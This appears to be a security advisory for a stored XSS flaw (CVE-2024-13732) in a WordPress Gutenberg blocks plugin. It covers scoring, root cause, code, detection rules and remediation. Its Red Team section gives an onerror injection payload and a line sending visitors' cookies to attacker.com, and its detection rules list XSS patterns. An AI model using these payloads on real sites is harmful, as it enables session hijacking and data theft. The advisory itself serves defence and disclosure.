CVE-2024-13732

Executive Summary

CVE-2024-13732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Blocks – WordPress Gutenberg Blocks plugin (versions up to and including 1.9.9). The flaw resides in insufficient sanitization of the section_tag parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious block, the injected script executes in the browser context, potentially leading to session hijacking, defacement, or data theft. This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim visits page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability exists in the responsive-block-editor-addons plugin, specifically in the block rendering logic for the section_tag attribute. The plugin fails to properly sanitize user input when saving block attributes and does not escape output during rendering. An attacker with Contributor-level access can create or edit a post/page containing a vulnerable block, setting the section_tag parameter to a malicious JavaScript payload. When any user (including administrators) views the page, the payload executes in their browser.

Root Cause: The section_tag parameter is passed through esc_attr() or similar functions that do not prevent JavaScript execution in HTML attributes. The plugin should use wp_kses_post() or esc_html() for context-appropriate escaping.

Attack Flow:

1. Attacker logs in with Contributor role.
2. Creates a new post or edits an existing one.
3. Inserts a Responsive Blocks Gutenberg block.
4. Sets section_tag to <script>alert('XSS')</script> or a more sophisticated payload.
5. Publishes the post.
6. Victim visits the post → script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.9.9):

// In block render callback
$section_tag = $attributes['section_tag'] ?? 'div';
echo '<' . esc_attr($section_tag) . ' class="responsive-block">';

Patched Code (hypothetical fix):

// Use whitelist approach
$allowed_tags = ['div', 'section', 'article', 'header', 'footer'];
$section_tag = in_array($attributes['section_tag'], $allowed_tags) ? $attributes['section_tag'] : 'div';
echo '<' . esc_attr($section_tag) . ' class="responsive-block">';

Exploitation & Lab Setup

Red Team

Prerequisites: WordPress instance with Responsive Blocks plugin <= 1.9.9, Contributor-level account.

Steps:

1. Log in as Contributor.
2. Create a new post.
3. Switch to Code Editor view.
4. Insert a block with malicious section_tag:

   <!-- wp:responsive-block-editor-addons/section {"section_tag":"img src=x onerror=alert(1)"} -->
   <div class="wp-block-responsive-block-editor-addons-section"></div>
   <!-- /wp:responsive-block-editor-addons/section -->
   

5. Publish the post.
6. Share the link with a victim.

Payload Example:

// Steal cookies
document.location='https://attacker.com/steal?c='+document.cookie

Blue Team

Detection:

• Monitor for posts created by low-privilege users containing unusual HTML attributes.
• Use WAF rules to block <script> tags in post content.
• Implement Content Security Policy (CSP) headers.

Hunting Query (WordPress database):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%section_tag%'
  AND post_content LIKE '%<script%';

Indicators of Compromise (IOCs)

• File: wp-content/plugins/responsive-block-editor-addons/responsive-block-editor-addons.php (version <= 1.9.9)
• Database: Posts containing section_tag with non-standard values (e.g., img, script, onerror)
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug log entries showing section_tag with unexpected values

Detection Engineering

YARA Rule

rule CVE_2024_13732_Responsive_Blocks_XSS {
    meta:
        description = "Detects malicious section_tag payloads in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13732"
    strings:
        $payload1 = /section_tag[^>]*["'][^"']*<(script|img|svg|iframe)/i
        $payload2 = /section_tag[^>]*["'][^"']*onerror|onload|onclick/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-13732 - Stored XSS via section_tag
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via section_tag parameter in Responsive Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-json/wp/v2/posts'
        http.body|contains: 'section_tag'
        http.body|re: 'section_tag[^>]*["\'][^"\']*<(script|img|svg|iframe)'
    condition: selection
falsepositives:
    - Legitimate use of section_tag with allowed values
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13732 - Stored XSS via section_tag";
    flow:to_server,established;
    content:"section_tag"; http_client_body;
    pcre:"/section_tag[^>]*["\'][^"\']*<(script|img|svg|iframe)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-13732;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Responsive Blocks plugin until a patch is available.
2. Review all posts/pages created by Contributor-level users for malicious section_tag values.
3. Implement a Web Application Firewall (WAF) rule to block requests containing section_tag with suspicious patterns.

Long-term Fix:

• Update to a patched version (when released).
• Apply input validation and output escaping as shown in the patched code example.
• Restrict Contributor-level users from using custom HTML attributes.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Modify the plugin file to whitelist allowed section_tag values (see patched code).

Valters IT